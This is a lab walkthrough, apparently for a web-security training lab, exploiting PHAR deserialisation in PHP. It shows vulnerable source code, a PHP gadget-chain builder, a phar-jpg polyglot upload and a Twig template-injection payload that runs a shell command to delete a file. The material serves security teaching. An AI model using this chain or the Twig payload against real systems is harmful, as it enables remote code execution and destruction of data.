Using PHAR deserialisation to deploy a custom gadget chain
Description
This lab does not explicitly use deserialisation. However, if you combine PHAR deserialisation with other advanced hacking techniques, you can still achieve remote code execution via a custom gadget chain.
Reproduction and proof of concept
The website has a feature for uploading your own avatar, which only accepts JPG images. Upload a valid JPG as your avatar. It is loaded using
GET /cgi-bin/avatar.php?avatar=wiener
.
In Burp Repeater, request
GET /cgi-bin
to find an index that shows aBlog.php
andCustomTemplate.php
file. Obtain the source code by requesting the files using the.php~
backup extension.
Blog.php
:
<?php
require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');
class Blog {
public $user;
public $desc;
private $twig;
public function __construct($user, $desc) {
$this->user = $user;
$this->desc = $desc;
}
public function __toString() {
return $this->twig->render('index', ['user' => $this->user]);
}
public function __wakeup() {
$loader = new Twig_Loader_Array([
'index' => $this->desc,
]);
$this->twig = new Twig_Environment($loader);
}
public function __sleep() {
return ["user", "desc"];
}
}
?>
CustomTemplate.php
:
<?php
class CustomTemplate {
private $template_file_path;
public function __construct($template_file_path) {
$this->template_file_path = $template_file_path;
}
private function isTemplateLocked() {
return file_exists($this->lockFilePath());
}
public function getTemplate() {
return file_get_contents($this->template_file_path);
}
public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lockFilePath(), "") === false) {
throw new Exception("Could not write to " . $this->lockFilePath());
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new Exception("Could not write to " . $this->template_file_path);
}
}
}
function __destruct() {
// Carlos thought this would be a good idea
@unlink($this->lockFilePath());
}
private function lockFilePath()
{
return 'templates/' . $this->template_file_path . '.lock';
}
}
?>
Study the source code and identify the gadget chain involving the
Blog->desc
andCustomTemplate->lockFilePath
attributes.The
file_exists()
filesystem method is called on thelockFilePath
attribute.Notice that the website uses the Twig template engine. You can use deserialisation to pass in an server-side template injection (SSTI) payload. Find a documented SSTI payload for remote code execution on Twig, and adapt it to delete Carlos’s file:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}
Write some PHP for creating a
CustomTemplate
andBlog
containing the SSTI payload:
class CustomTemplate {}
class Blog {}
$object = new CustomTemplate;
$blog = new Blog;
$blog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
$blog->user = 'user';
$object->template_file_path = $blog;
Create a phar-jpg polyglot containing the PHP script.
Upload this file as your avatar.
In Burp Repeater, modify the request line to deserialise your malicious avatar using a
phar:// stream
as follows:
GET /cgi-bin/avatar.php?avatar=phar://wiener
Send the request to solve the lab.
Exploitability
An attacker will need to log in to wiener:peter
; and delete the morale.txt
file from Carlos’s home directory.